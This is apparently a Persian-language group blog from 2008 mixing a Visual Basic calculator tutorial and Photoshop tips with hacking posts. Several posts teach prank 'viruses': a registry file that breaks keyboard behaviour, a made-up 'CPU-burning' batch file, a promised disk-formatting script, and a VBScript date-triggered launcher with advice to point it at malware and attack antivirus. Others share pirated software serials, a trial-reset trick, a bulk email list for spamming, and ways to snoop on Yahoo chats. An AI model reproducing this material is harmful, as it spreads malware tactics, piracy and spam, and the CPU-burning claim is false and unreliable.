تبليغاتX
LearninG
 

فرض کنيد بخواهيم يک ماشين حساب ساده، مطابق آنچه در شکل 7 می‌بينيد، طراحی کنيم:

يک Label به نام lblDisplay به عنوان نمايشگر ماشين حساب و با Caption برابر مقدار" 0" (زيرا مقدار اوليه ماشين‌حساب‌ها صفر می باشد) در محل خود قرار می دهيم. همچنين يکCommandButtonبه نام cmdequal به عنوان دکمه مساوی" و با Caption برابر "= " نيز در محل مخصوص خود قرار می دهيم.

حال ده عدد Command Botton ديگر با Caption های به ترتيب برابر " 0" تا "9 " را در جای خود قرار می دهيم و سپس نام همه اين ده دکمه را به نام cmdNumber  تغيير می دهيم. در اين صورت همانطور که گفته شد، VB اين ده کنترل را به صورت آرايه کنترلی (Control Array) در نظر خواهد گرفت (به پيغام داده شده با همين مضمون جواب Yes دهيد).

به همين ترتيب چهار CommandButton ديگر را با Captionهای "+ " و "- " و "* " و "/ " و با نام يکسان cmdOprator به عنوان دکمه های چهار عمل اصلی به صورت آرايه کنترلی در محل های خود قرار می دهيم.

حال کافی است در يونيت مربوط به اين فرم، چنين کدنويسی کنيم (توجه داشته باشيد که متغيرهاي x و y و op در سطح فرم (Form Level) تعريف شده اند و لذا مقدار آن در تمام فرم قابل دسترسی خواهد بود) :

Option Explicit

Dim x,y As Integer

Dim op As String

 Private Sub cmdNumber_Click (Index As Integer)

          IF lblDisplay = “Ø” then lblDisplay = “”

          lblDisplay = lblDisplay + cmdNumber(Index).Caption

End Sub

 Private Sub cmdOprator_Click (Index As Integer)

          x = Val(lblDisplay)

          op = cmdOprator(Index).Caption

          lblDisplay = “Ø”

End Sub

Private Sub cmdEqual_Click ( )

          y = Val (lblDisplay)        

          Select Case op

                   Case “+”

                             lblDisplay = x + y

                   Case “-”

                             lblDisplay = x - y

                   Case “*”

                             lblDisplay = x * y

                   Case “/”

                             lblDisplay = x / y

          End Select

End Sub

 

توجه داريد که:

  1. در رويدادهايی که مربوط به آرايه های کنترلی (يعنی cmd Number و cmdoperator ) است، يک پارامتر به نام Index در آن وجود دارد که شماره Index (انديس) کليدی که فشرده شده را برمی‌گرداند. و لذا مثلاً cmdOprator(Index).Caption برابر "+" خواهد بود، اگر کليد + فشرده شود و برابر "- " خواهد بود، اگر کليد – زده شود و ...

  2. مشخصه (Property) پيش فرض برای Labelها Caption است و لذا هر جا lblDisplay ذکر شده است، توسط VB مانند lblDisplay.Caption در نظر گرفته می شود.

  3. توسط دستور Select Case، يک متغير (که نام آن جلوی دستور Select Case نوشته می شود) با مقادير مختلفی (که جلوی دستورات Case بعدی نوشته می شود) چک می شود که اگر برابر هر يک از اين مقادير بود، دستور پس از همان Case اجرا می شود.

+ نوشته شده در  شنبه بیست و سوم آذر 1387ساعت 13:34  توسط Honarestan noavaraN  | 

با سلام اینبار براتون ایمیل وبمستر های ایرانی را آماده کردیم که برای فرستادن ایمیل انبوه دچار مشکل نشوید اگه نظرات بیشتر باشه برنامه فرستادن ایمیل انبوه را هم میزاریم!

download دانلود ایمیلها

 

 

پری نازـــــــــ

+ نوشته شده در  جمعه پانزدهم شهریور 1387ساعت 15:53  توسط Honarestan noavaraN  | 

WinRAR 3.80 beta 4   

Graphic and command line

Trial

1205 KB

RAR 3.80 beta 4 for Pocket PC

Graphic only

Free

270 KB

RAR 3.80 beta 4 for Linux

Command line only

Trial

773 KB

RAR 3.80 beta 4 for FreeBSD

Command line only

Trial

759 KB

RAR 3.80 beta 4 for Mac OS X

Command line only

Trial

614 KB

RAR 3.80 beta 4 for MS DOS

Command line only

Trial

652 KB

RAR 3.80 beta 4 for Linux x64

Command line only

Trial

802 KB

 

 پری ناز

+ نوشته شده در  دوشنبه چهارم شهریور 1387ساعت 19:36  توسط Honarestan noavaraN  | 

http://i38.tinypic.com/2j2hnoy.jpg

دانلود | سرورهای قدرتمند راپیدشیر ، حجم ۱.۵ مگابایت

<<پری ناز>>

+ نوشته شده در  شنبه دوم شهریور 1387ساعت 11:55  توسط Honarestan noavaraN  | 

سلام

امروز اموزش مقدماتی فتوشا۱ رو گذاشتم

 


ادامه مطلب
+ نوشته شده در  شنبه دوازدهم مرداد 1387ساعت 18:26  توسط Honarestan noavaraN  | 

سلام دوست گلم  .

 امروز می خوام به شما آموزش بدم که چطور می تونید بوسیله ی برنامه ی ادب فوتوشاپ رنگ چشم و یا هر قسمت دیگر از عکس را تغییر بدید!

برای انجام این کار برنامه ی فوتوشاپ را باز کنید و در قسمت سمت چپ که نوار ابزار وجود داره ابزار Ellipticel Marquee Tool که شکل آن بصورت یک دایره کلیک کنید.

سپس بوسیله ی آن قسمت مورد نظر از عکس را انتخاب کنید. برای زیباتر شدن و طبیعی تر جلوه کردن عکس بهتره کمی آن قسمت را محو(Feather) کنید. برای این کار روی قسمت انتخاب شده راست کلیک کنید و گزینه ی Feather را انتخاب کنید. ودر مستطیل مقداری عدد بدهید( پیشنهاد می کنم عدد مورد نظر از 10 بیشتر نباشد). بعد از انجام این کار مراحل زیر را طی کنید:

 

 از نوار منو منوی Image\ Adjustments\ Variations…

حالا میتونید رنگ مورد نظر را در هریک از گزینه ها  Shadows , Midtones و... انتخاب کنید.

 

درضمن اگر هرنوع سوال دیگری درباره ی فوتوشاپ داشتید می تونید بپرسید و من آموزش آن را در وبلاگ قرار میدم.

pari>>>>>>

 

+ نوشته شده در  پنجشنبه ششم تیر 1387ساعت 18:19  توسط Honarestan noavaraN  | 

 

سلام دوست عزیز،

 قسمت مورد نظر چشم که قرمز شده است را بزرگ(Zoom) می کنیم. سپس ابزار Color Replacement Tool از نوار ابزار انتخاب می کنیم. اندازهی آن را بوسیله ی نوار ابزار بالا در قسمت Brush تعیین می کنیم. سپس رنگ آن را به رنگ چشم در می آوریم.( اگر می خواهید دقیق باشد ابزار Eyedropper Tool را انتخاب و به روی قسمت مورد نظر کلیک کنید). سپس بوسیله ی Color Replacement Tool قرمزیه چشم را رنگ میکنیم.

 

pari>>>>>>

+ نوشته شده در  پنجشنبه ششم تیر 1387ساعت 18:9  توسط Honarestan noavaraN  | 

 

سلام دوستان !

الآن بد ترین و آزار دهنده ترین ویرو سی که در دنیا معرفی شده ویروس ساسر و بلاستر است. این ویروس CPU فرد قربانی رو می سوزونه.
من آموزش ساختن این ویروس رو به شما یاد میدم.
روی دسکتاپ راست کلیک کنید.
گزینه
new رو انتخاب کنید
text document رو انتخاب کنید
حالا وارد
text document خود شوید و در آن تایپ کنید
cpu_567hjkblaster
حالا آنرا با فرمت
bat ذخیره کنید. ویروس آماده شد. حالا اگر کسی این ویروس رو بر روی کامپیوتر خودش اجرا کنه CPU کامپیوترش می سوزه
توجه : این ویروس رو بعد از ساختن به هیچ وجه روی سیستم خودتون اجرا نکنید وگرنه
CPU تون...!!!!!

 

pari>>>>>>

 

+ نوشته شده در  پنجشنبه ششم تیر 1387ساعت 18:6  توسط Honarestan noavaraN  | 

ویروس جدید نرم افزار پیغام رسان فوری یاهو مسنجر با نام W32/YahLover.worm توانسته است در مدت زمان اندکی از بوجود آمدن تعداد فراوانی از کاربران استفاده کننده از این نرم افزار را آلوده نماید.

به گزارش سایت مک آفی، درجه خطر ویروس W32/YahLover.worm که در خانواده کرم ها (Worm) طبقه بندی شده است کم (Low) می باشد و نخستین بار در تاریخ 9/5/2006 مشاهده شده است.ویژگی و نحوه عملکرد این ویروس به گونه ای است که با نمایش پیامهای گوناگون در قسمت Custom Message Statu آی دی (ID) کاربر آلوده شده از دیگران می خواهد تا بر روی لینک نماش داده شده کلیک نمایند تا بتواند بدین صورت خود را در سیستم کامپیوتر آنها نیز دانلود کند. در صورت انجام چنین کاری فایل آلوده به ویروس، خود را به یکی از فایل های اصلی ویندوز ( %WINDIR%\taskmng.exe ) متصل می کند و سپس از طریق تنظیمات ریجستری گسترش می یابد.علاوه بر آنکه شما می توانید با بررسی فایل های ریجستری خود نسبت به این امر که آیا آلوده شده اید یا خیر پی ببرید در صورت مشاهده ی پنجره ای همانند پنجره ی زیر نیز سیستم شما به این ویروس آلوده شده است.منبع خبر :
ویروس W32/YahLover.worm این قابلیت را دارد تا لیست تمامی دوستان شما در یاهو مسنجر را تشخیص داده و خود را برای آنها ارسال نماید.

در صورتیکه شما از ویروس یاب شرکت مک آفی استفاده می کنید پس از بروز نمودن ویروس یاب خود، یکبار سیستم را بطور کامل اسکن نمایید

توجه: در صورتی که یکی از ادد لیست شما این مشکل رو ندونه و روی یکی از این لینک ها کلیک کند. باعث میشه که لینک اون واسه شما هم ارسال بشه. پس با فرستادن این صفحه برای دوستان خود . آنهارا مطلع کنید

 

<<<پ>>>

+ نوشته شده در  دوشنبه سوم تیر 1387ساعت 16:7  توسط Honarestan noavaraN  | 

مي خواهم ساخت يك ويروس بسيار ساده را به شما آموزش دهم اين ويروس (FLICKER ) بيشتر براي شوخي كردن به كار مي رود و نوع كار كردن اين ويروس به اين صورت است كه پس از اجراي آن و ريسارت كامپيوتر صفحه كليد كامپيوتر از كار مي افتد و در هنگام فشار دادن دكمه هاي صفحه كليد ، صفحه مانيتور روشن و خاموش مي شود. حال روش ساخت : Windows Registry Editor Version 5.00 [HKEY_CURRENT_USERControl PanelAccessibilityKeyboard Response] "Flags"="127" [HKEY_CURRENT_USERControl PanelAccessibilitySoundSentry] "Flags"="3" "WindowsEffect"="3" متن بالا را در يك Notepad وارد كرده و سپس آن را با پسوند Reg سيو كنيد

حال اگر بخواهيد اين ويروس را از كار بيندازيد مي توانيد Windows Registry Editor Version 5.00 [HKEY_CURRENT_USERControl PanelAccessibilityKeyboard Response] "Flags"="126" [HKEY_CURRENT_USERControl PanelAccessibilitySoundSentry] "Flags"="2" "WindowsEffect"="0" متن بالا را در يك Notepad وارد كرده و با پسوند Reg سيو كنيد ( مثلا FlickerOff.Reg ) حال شما مي توانيد اين ويروس را بر كامپيوتر خود امتحان كنيد فقط فراموش نكنيد FlickerON.Reg براي اجراي ويروس و FlickerOff.Reg براي از كار انداختن ويروس مي باشد و همچنين براي از كار انداختن ويروس شما فقط مي توانيد از موس خود استفاده كنيد.

پری

+ نوشته شده در  شنبه بیست و پنجم خرداد 1387ساعت 12:5  توسط Honarestan noavaraN  | 

سلامی  به تمامی دوستان عزیز

دوستان اگر میخواهید با یک کلیک هاردتان Format (پاک) شود این کدها را در Note

pad ریخته و آنرا با پسوند Bat ذخیره کنید مثلا Format Hard.bat حال مواظب باشید

 که روی آن کلیک نکنید چون هارد شما صفر کیلومتر خواهد شد موفق باشید در پناه

>>>>>>>>پری ناز جون<<<<<<<<

 

+ نوشته شده در  پنجشنبه بیست و ششم اردیبهشت 1387ساعت 18:4  توسط Honarestan noavaraN  | 

Add کردن بدون اجازه با دو روش 

براي اين کار دوروش هست که اولي با دست دومي با نرم افزار.

ابتدا يک پروفايل بسازيد.بعدش در قسمت My yahoo با همون پروفايل طرف روAdd کنيد.و وقتي اين کار رو کنيد که طرف آفلاين است.بعد تا وقتي که طرف AcceptياDeny رو نزده بايد اين کار رو بکنيد.بريد پروفايلي که ساختيد Delete کنيد.

روش دوم با نرم افزار Boddy Manager است.من تا يه هفته پيش لينکشو براي دانلود داشتم اما گم کردم.در هر صورت بريد خودتون پيدا کنيد.ديگه شما هاکه ختم دانلود هستيد.

 

آنلاين ماندن يک آيدي براي هميشه 

بااينکار شما حتي اگر در اينترنت هم نباشيد در ليست دوستانتان به شکل آنلاين هستيد.براي اين کار از منوي Login  گزينه preferencec رو انتخاب ميکنيد ميکنيد و از صفحه باز شده جلوي گزينه Firewall with no peroxies رو انتخاب ميکنيد.

 

 

ميخواهيد بدونيد در روز با چه IDهايي صحبت کردين؟ 

شما ميتونين بفهمين دوستتون که پاي کامپيوتر شما نشسته با چه IDهايي چت کرده.خوب به شاخه زير برويد

D:\Program Files\Yahoo!\Messenger\Profiles\Your ID\Archive\Messages

که به جاي YouId آي دي شما نشون داده ميشه و ميبينيد که با چه IDهايي چت کردين.اين به درد اون موقع ميخوره يکي شما رو يواشکي بوت کنه و شما بريد حالشو بگيريد.

 

حرفهايي که در چت بهم زديد ببينيد

خوب اگه دوست شما با IDشما کانکت شده باشه يا اينکه شما Usernameو Passwordآي دي کسي رو در آورده باشين ميتونيد ببينيد اون با چه کسايي چت کرده و چه چيزهايي گفته و يا اينکه با کسي چت ميکردين بعد پنجره Pmرو بستين و يه چيزي يا شماره ايي تو پنجره قبلي به شما داده بوده شما ميتونيد اونو ببينيد براي اين کار ابتدا

بريد پنجره ي PMرو باز کنيد و از منوي بالا View رو باز کنيد و گزينه آخر يعني Archive Messeageرو انتخاب کنيد و بعد از منوي سمت راست هر IDکه خواستين پيدا کنيد و در سمت چپ چيزهايي که گفتين پيدا کنيد.ن

 

پيدا کردن IPايميل در ياهو

۱-وارد محيط ايميل خود شويد.

۲-Mail Options  را انتخاب کنيد.

۳-سپس گزينهGeneral Preferences  رو انتخاب کنيد.

۴-در اين قسمت تغييرات زيادي ميشود داد از جمله اسم خودتونFrom nameو....

۵-در قسمتheaders گزينه Show allرا انتخاب کنيد.و IPايميل ها را تماشا کنيد.

 

ساخت پروفايل

چيزي كه خيلي مهمه ولي  ۸۰٪ توجهي به اون نميكنند.
از منوهاي ياهو مسنجر login  را زده وmy profile  را باز كنيد.سپس creat/edit my profile  را بزنيد.
بعد روي id  مورد نظري كه ميخواهيد پروفايلش رو درست كنيد كليك كنيد.سپس Edit Profile Information  رو بزنيد.وبه اين ترتيب موارد مورد نظر رو پر كنيد.
Real Name  نام اصلي ـ Nickname  لقب ـ Location  در اين قسنت ir  يا iran  رو وارد كنيد.
Age  سن ـ Gender  جنسيت - Marital Status  وضعيت تاهل - Occupation  شغل -
در قسمت Display Email Address  انتخاب مي كنيد كه ايا ايميل شما در پروفايل نشان داده شود يا نه.
در قسمتهاي بعد علاقه منديها و اخرين خبرها در باره خودتان را بگزاريد و همچنين ميتوانيد چند تا لينك مثلا لينك سايت خودتون يا وبلاگتون.
اگر Designate this profile as an 'adult profile' رو بزنيد پروفايل شما به كسي نشان داده نميشود.
و اگر Add this profile to the Yahoo! Member Directory  رو هم علامت بزنيد پرو فايل شما وارد ليست Member  هاي ياهو ميشه كه بعدا اگر كسي سرچ كرد پروفايل شما هم اگر مطابق با سرچ او بود به او نشان داده ميشه.
save changes  رو بزنيد.
در قسمت Edit Picture  عكس خود را ميتوانيد وارد پروفايل كنيد.و در قسمت Edit Voice  ميتوانيد صدا يا موزيك روي پروفايل قرار دهيد.
Change Page Colors  هم براي تغيير رنگ پروفايل.
Create your own home page at GeoCities  هم25  مگابايت فضا براي ساخت يك سايت به شما ميده همچنين اونجا مدلهاي اماده سايت رو هم داره كه ميتونيد يكي رو انتخاب كنيد و خيلي راحت سايت بسازيد و لينك اون رو توي پروفايلتون بزاريد.براي ديدن پروفايل شخص مورد نظر بايد اين ادرس رو بريد.به جاي ؟؟؟؟ بايد id  شخص رو تايپ كنيد.

http://profiles.yahoo.com /???m

 

پيدا كردن رومي كه شخص مورد نظر اونجا چت ميكنه

هنگام PM  با فرد مورد نظر منوي فايل رو باز كنيد و Go To Chat User...رو انتخاب كنيد.بعد از دادن id  مورد نظر و زدن okوارد رومي ميشويد كه فرد مورد نظرتون اونجاست.ميتونيد از طريق منوي پايين رو كه كنار id  خودتون از طريق يكidديگه كه طرف ميشناسه وارد بشيد كه طرف نفهمه شما وارد شديد.(درست كردن چند تا id  مجازي )
همچنين اگر در حال pm  نيستيد ولي id  رو داريد ميتونيد از منوهاي ياهو مسنجر tools\yahoo chat\join user in chat  رو انتخاب كنيد.

 

سرچ id  از ياهو

بهترين راه براي پيدا كردن اي دي مورد نظر و پيدا كردن دوست خوب از بين كاربران ياهو اين لينك است.
اگر نميخواهيد نام خاصي انتخاب كنيددر قسمت Enter a YAHOO! IDچيزي ننويسيد.
فقط كافيست در قسمت Select a GENDER  انتخاب كنيد كه كساني كه براي شما پيدا ميشوند دختر باشند يا پسر.
اگر سن خاصي مورد نظرتون نيست Select an AGE RANGE  رو خالي بزاريد.Select a MARITAL STATUS  هم وضعيت تاهل فرد مورد نظر است.
مثلا single  مجرد.
در Enter a LOCATION  ميتوانيد كشور فرد مورد نظرتون رو انتخاب كنيد.براي ايران بايد ir  يا iran  رو انتخاب كنيد.
در پايين اگر View Only Profiles With Pictures  رو فعال كنيد كه در پروفايل انها عكسشان وجود دارند به شما نشان داده ميشوند.
و اگر View Only Online Profiles  رو هم فعال كنيد فقط افرادي كه انلاين هستند به شما نشان داده ميشوند.

 

فعال كردن فايروال(انتي هك)ياهو 

ياهو مسنجر خود داراي يك فايروال ميباشد.ميتوانيد از منوي Login  گزينه Privacy Setting  را انتخاب كنيد و در داخل تنظيمات Connection  فايروال را انتخاب كنيد.

>>>>>>>پ<<<<<<<

+ نوشته شده در  پنجشنبه بیست و ششم اردیبهشت 1387ساعت 17:6  توسط Honarestan noavaraN  | 

تمامی کاربرانی که با امور مرتبط با چاپ رایانه ای و کار با انواع چاپگر های کوچک و بزرگ رنگی و سیاه سفید لیزری و جوهر افشان سر و کار دارند، حتما بیشترین نگرانی آنها صرف بیش از اندازه جوهر چاپگر و در نتیجه گرانتر تمام شدن اثر حاصل چه برای خود چه برای مشتریان است. این داستان هنگام استفاده از چاپگر های رنگی مخصوصا جوهر افشان به اوج خود می رسد و بیش از پیش نیاز به صرفه جویی در مصرف جوهرحس می شود !

InkSaver 2.0 نام نرم افزاری قدرتمند و بسيار مفيد برای افرادی که به چاپگرها، بخصوص چاپگررنگی مجهز هستند ميباشد که به خوبی امکان کنترل و مدیریت میزان مصرف جوهر را می دهد و با محدودیت هایی که اعمال می نماید امکان داشتن بالاتر بازده از مصرف جوهر را به کاربران می دهد و موجب طولانی عمر مصرفی کارتریج های جوهر شما می شود.بنا به ادعا های وب سایت سازنده ی نرم افزار صرفه جویی تا حد 75 درصدی در هزینه و جوهر از قابلیت های قدرتمند و چشمگیر این نرم افزار است!

به ميزان صرفه جويی اين نرم افزار در جدول زير توجه کنيد:

ميانگين چاپ صفحه در يک هفته :

مقدار زمانی که
کارتريج باقی ميمونه
:

هزينه ی ساليانه ی کارتريج ها:

توسط InkSaver شما 50 درصد ميتونيد صرفه جويی کنيد

75 pages/week 4 weeks 455/year

Save $225/year!

50 pages/week 6 weeks 300/year

Save $150/year!

20 pages/week 15 weeks 120/year

Save $60/year!

 اين تصوير نیز شما را بيشتر با چگونگی تنظيمات InkSaver برای کاهش مصرف جوهر آشنا خواهد کرد.

برخی از ویژگی های خوب نرم افزار InkSaver 2.0 :

- تنظیم بسیار ساده برای بهینه سازی مصرف جو هر و صرفه جویی در آن.

- صرفه جویی در هزینه که عمر کارتریج شما را بالا برده و حتی به 4 برابر می رساند.

- کیفیتی بالاتر و بهتر از حالت رایج Draft که اکثر افراد برای صرف کمتر جوهر آن را انتخاب کرده و کیفیت را تا حد بالایی پایین می آورند!

- قابلیت تخمین میزان جوهر و هزینه مصرفی صرفه جویی شده شما.

- سازگاری با اکثر مارک های راتیج  و مطرح پرینتر مانند HP®, EPSON®, Canon®, Lexmark® و ....

- سازگاری برای کار با چندین پرینتر به طور همزمان به صورت parallel, USB و TCP/IP و ....

و ....

لینک برنامه :

http://www.inksaver.com/support/inksaver20500.exe

شماره سریال:

CCVF-TCVD-DGFZ-CVWK
CHWP-PBZK-JXKT-SKXZ
CJSC-ZVTJ-LWBN-MDDQ

+ نوشته شده در  پنجشنبه بیست و ششم اردیبهشت 1387ساعت 16:46  توسط Honarestan noavaraN  | 

تروجان یك فایل جاسوسی می باشد كه توسط هكر با توجه به نیاز به اطلاعات قربانی آماده می شود و برای قربانی فرستاده می شود با كمی دقت در تعریف تروجان در مییابیم كه تروجان هیچ وقت نمیتواند یك ویروس باشد

اگر اهل گشت و گذار در اینترنت مخصوصا سایتهای امنیتی و یا هكری باشید حتماً با واژه تروجان آشنا هستید. شاید برداشت اكثریت ما از این واژه همان ویروس اینترنتی باشد.ولی تروجان چیست؟
اگر بخواهیم برای تروجان یك تعریف ساده بیان كنیم می توانیم بگوییم:تروجان یك فایل جاسوسی می باشد كه توسط هكر با توجه به نیاز به اطلاعات قربانی آماده می شود و برای قربانی فرستاده می شود با كمی دقت در تعریف تروجان در می یابیم كه تروجان هیچ وقت نمی تواند یك ویروس باشد.هكر با توجه بهنیاز های خود به اطلاعات قربانی كه می تواند این اطلاعات:پسورد ایمیل یا ایدی قربانی،اشتراك اینترنت(اكانت)،نام و پسورد كامپیوتر قربانی و... است تنظیم كند. معمولا تروجانها به دو قسمت تقسیم می شوند:
۱) كلاینت:
كه تنظیمات را انجام داده و آن را با توجه به نیازهایی كه بیانكردیم تنظیم می نمایند
۲) سرور:
كه بعد از تنظیمات باید این سرور برای قربانی فرستاده شود تا قربانی بعد از دریافت آن را اجرا كند.
با توجه به تحقیقات می توانیم بگوییم هر هكری كار خود را با این نوع كارها شروع می كند.یعنی با تنظیم تروجان،فرستادن تروجان برای قربانی،هك كردن ایدی و اكانت اینترنت و...در اوایل ورود این نوع جاسوسها به اینترنت فقط كارایی محدودی داشتند.همه كارایی آن نوع تروجانها به فرستادن پسورد یاهو ختم می شد.با گذشت زمان و علاقه برنامه نویسان به این نوع جاسوس ها كم كم امكانات آن را افزایش دادند تا به امروز.
ولی امكانات یك تروجان امروزی چیست؟
تروجانهای امروزی دیگر رشد كامل خود را تا حد زیادی طی نموده اند امكان دارد با ورود یك تروجان به كامپیوتر شما:
۱) فرستاده شدن پسورد ای دی مخصوصا ایدی و پسورد مسنجر شما برای هكر(به ایمیل هكر یا ایدی یا یك اف تی پی مشخص شده توسط هكر)
۲) فرستاده شدن اكانت اینترنت شما برای هكر
۳) فرستاده شدن نام كامپیوتر شما همراه با پسورد ویندوز برای هكر
۴) محدود كردن كارهای شما با كامپیوتر(قفل شدن Task Manager یاMscoing یا Rigistry و) كامپیوتر شما توسط هكر
۵) از كار انداختن ویروس كش و فایروال كامپیوتر شما
۶) در اختیار داشتن هارد شما توسط هكر(پاك كردن فایل از كامپیوتر شما و یا اضافه كردن فایل توسط هكر)بله همه اینها امكان دارد. فقط كافیست یك تروجان روی كامپیوتر شما توسط هكر فعال شود.
ولی چگونه امكان دارد كه تروجان وارد كامپیوتر ما شود:
۱) در حال چت كردن هستید فرد مقابل برایتان می خواهد عكس خودش یا نرم افزاری را سند كند .شما آن را می گیرید ولی آیا این فایل سالم است.از كجا مطمئن هستید كه حاوی تروجان نیست ؟
۲) در حال گشت در یك سایت آموزش هك هستید می خواهید یك نرم افزار دانلود كنید از كجا مطمئن هستید كه این نرم افزار سالم است؟
۳) برایتان یك ایمیل می آید.ایمیلی كه فرستنده آن نامشخص است آیا ایمیل سالم است ؟
و تروجان ها بر خلاف ویروس ها كه فقط شامل چند شكل محدود می شوند دارای اشكال خیلی زیادی هستند.یك تروجان می تواند خود را به شكلهای: عكس،یك فایل صوتی،یك فایل نقاشی،یك فایل Setup و...پس می بینید تروجان یك شكل مخصوص ندارد .
چگونه متوجه شویم كه در كامپیوتر ما تروجان فعال است:
۱) در صورت از كار افتادن Task Manager و Msconfig
۲) از كار افتادن ویروس كش
۳) تغییر در شكل توپی پسورد در مسنجر ویا سیو نشدن آن
۴) در صورت دیدن علائم مشكوك در مسنجر(باز و بسته شدن یك پنجره پی ام)
۵) فعال بودن نرم افزار های مشكوك مثل Task Manager و Msconfig
۶) خوانده شدن ایمیل هایی كه ما آنها را قبلا نخوانده ایم در ایمیلمان ولی ما برای مقابله با این نوع جاسوسها چه كارهایی باید انجام دهیم؟
۱) داشتن یك ویروس كش قوی و به روز
۲) داشتن یك فایروال خوب یا فعال كردن فایروال خود ویندوز
۳) این را بدانید همی شه پسوند عكس jpgءgif..، می باشد و هیچ وقت یك عكس دارای پسوند exe نمی باشد و همیشه اگر فایل(عكس،نوشته و) را گرفتید كه دارای پسوند مشكوك بود هرگز باز نكنید.
۴) همی شه Task Manager و Msconfig خود را چك كنید اگر چیزی مشكوك دیدید مثل sender.exeبروید و در درایو ویندوز پوشه windows/system۳۲دنباله چنین فایلی باشید كه مشكوك بود و آن را پاك كنید
۵) هرگز از كسی كه شناخت كافی ندارید فایلی دریافت نكنید
۶) سعی كنید اگر می خواهید نرم افزار دانلود كنید از سایتهای معتبر دانلود كنید.
۷) در صورت مشكوك شدن به وجود تروجان سریع اطلاعات خود را عوض كنید(پسورد ای دی،پسورد ویندوز و)

۸) سعی كنید ویندوز خود را عوض كنید و درایو ویندوز قبلی را فرمت كنید.

<<صنم>>

+ نوشته شده در  پنجشنبه بیست و ششم اردیبهشت 1387ساعت 16:45  توسط Honarestan noavaraN  | 

سلام دوستان عزیز

حتما اتفاق افتادهكه برنامه اي را بر روي سيستم تان نتصب

كرده باشيدكه پس از مدتي"زمان استفاده رايگان از انها پايان

مي يابد.

بنابراين بايد اينترنت را براي يافتن كرك ان زير و روكنيد.

با استفاده از اين شگرد زير مي توانيد مدت ستفاده از

اينگونه برنامه ها را نا محدود كنيد بدون انكه نيازي به

كرك يا رجيستر كردن داشته باشيد........براي اين كار وارد رجيستري شده وبه مسير زير برويد:

HKEY_CURRENT_USER / Software

بعد از ان به دنبال نام برنامه مورد نظر بگرديد وروي

ان دوبار كليك كنيد.

حال از سمت راست صحفه"بر روي Maxusage

دوبار كليك كرده و در پنجره ي باز شده مقدار Value

ان را به ۱ تغيير دهيد.

البته دقت كنيدكه:

اين ترفند ممكن است بر روي برنامه هاي خاصي جواب ندهد.

در صورت عدم Maxusage خودتان ان را ايجاد كنيد.

اين روش مخصوص برنامه هاي مدت دار است نه انهايي كه

حتما براي استفاده نياز به كرك دارند. 

<<صنم>>

 

+ نوشته شده در  پنجشنبه بیست و ششم اردیبهشت 1387ساعت 9:30  توسط Honarestan noavaraN  | 

حتما" درباره ی ویروس هایی که در زمان خاصی مثلا" پنجم آوریل کار خاصی رو انجام میدن شنیدن.میدونستین ویروس های vbs بر خلاف ویروس های دیگه خیلی راحت می تونن این کار رو انجام بدن.خب یک نمونه از این کدها رو اینجا آوردم:

 

if month(now) = 4 and day(now) = 5 then

Set r = CreateObject("WScript.Shell")

r.run "Http://iranianvirus.blogfa.com"

end if

 

این کدها باعث میشن اگر تاریخ سیستمی کامپیوتر آلوده پنج آوریل باشد،وبلاگ من نمایش داده بشه.از مزایای ویروس های vbs کم حجم بودن آن هاست و البته آنتی ویروس ها هم بعضی مواقع همین چهار خط کد بالا را به عنوان ویروس می گیرند.می دانید ما در خط دوم به شیئی دسترسی پیدا کردیم که می تونیم با اون ریجیستری رو دستکاری کنیم ولی کاری که ما می خوایم انجام بدیم(یعنی باز کردن یک صفحه ی اینترنتی) کاملا" بی خطر است.ناگفته نمونه در بعضی موارد می تونه خطرناک باشه.مثلا" در اینجا به جای آدرس وبلاگ من آدرس یک ویروس را بگذارید تا ویروسی از اینترنت بر روی کامپیوتر قربانی دانلود شود.

یکی از مشکل هایی که ویروس های vbs دارند،سورس باز بودن آن هاست.یعنی برای گرفتن سورس یک ویروس vbs کافیست روی آن کلیک راست کرده و سپس edit را بزنید.همین باعث شده تا آنتی ویروس ها سریعا" کدهای آن ها را شناسایی کرده و آن ها را به عنوان ویروس معرفی کنند.هنگامی که میگیم آنتی ویروسی در حال فایل گرفتن از اینترنت هست(بروز رسانی)در اصل در حال گرفتن سورس ویروس از اینترنت است.آنتی ویروس ها برای این که تشخیص دهند که یک فایل ویروسی هست یا نه کدهایی که از اینترنت گرفتند یا قبلا" داشته اند(همان سورس ویروس ها) رو  با کدهایی که فایل داره مقایسه می کنند.اگر درصد شباهتشون زیاد بود آن فایل ویروسی شناخته می شود.آنتی ویروس bitdefender در رابطه با ویروس های vbs درصد 50 را مد نظر می گیرید ولی Norton کمترین اون ها رو(نمی دونم چند).خب بعضی میگن ویروس ها را encrypt کنیم.برای encrypt کردن ویرس های vbs باید اندازه ی وقت زیادی رو صرف کنیم اما باید بگم که رمزی کردن ویروس های vbs هم ازدید آنتی ویروس ها مخفی نمی ماند.مثلا" شما چهار کد بالا رو رمزی می کنی و آنتی ویرس هم ویروس شما رو تشخیص نمی ده ولی وقتی می خواین یه صفحه ی اینترنتی باز کنید می بینید که آنتی ویروس نمی ذاره(در بعضی آنتی ویروس ها).چی شد شما که رمزی کرده بودید.بله.یه چیزی یادتون رفت.آنتی ویروس ها فقط ویروس ها رو در نظر ندارن بلکه از فایل هایی که ممکنه ویروس ها به اون ها حمله کنن هم مواظبت می کنن یکیش هم فایل regedit.exe در پوشه ویندوز کامپیوتر که آنتی ویروس احمق bitdefender علاقه ی زیادی به اون داره.نتیجه این که به فقط به رمزی کردن ویروس هاتون نپردازید بلکه سعی کنید به آنتی ویروس ها هم حمله کنید.کنترل فایل هایی مثل regedit.exe را دست خودتون بگیرید و سعی نکنید تنها از آنتی ویروس فرار کنید.من تو همین وبلاگ آموزش از کار انداختن آنتی ویروس nod32 رو گذاشتم(ویژوال بیسیک) و راحت با گشت و گذاری تو وبلاگ می تونین بفهمین که من از آنتی ویروس ها فرار نمی کنم.اگر دنبال نوشتن ویروس های vbs هستید یک رمز در ویروس خود قرار دهید مثلا اسم خوتون رو به این صورت در ویروس قرار بدید:

zohre joon'

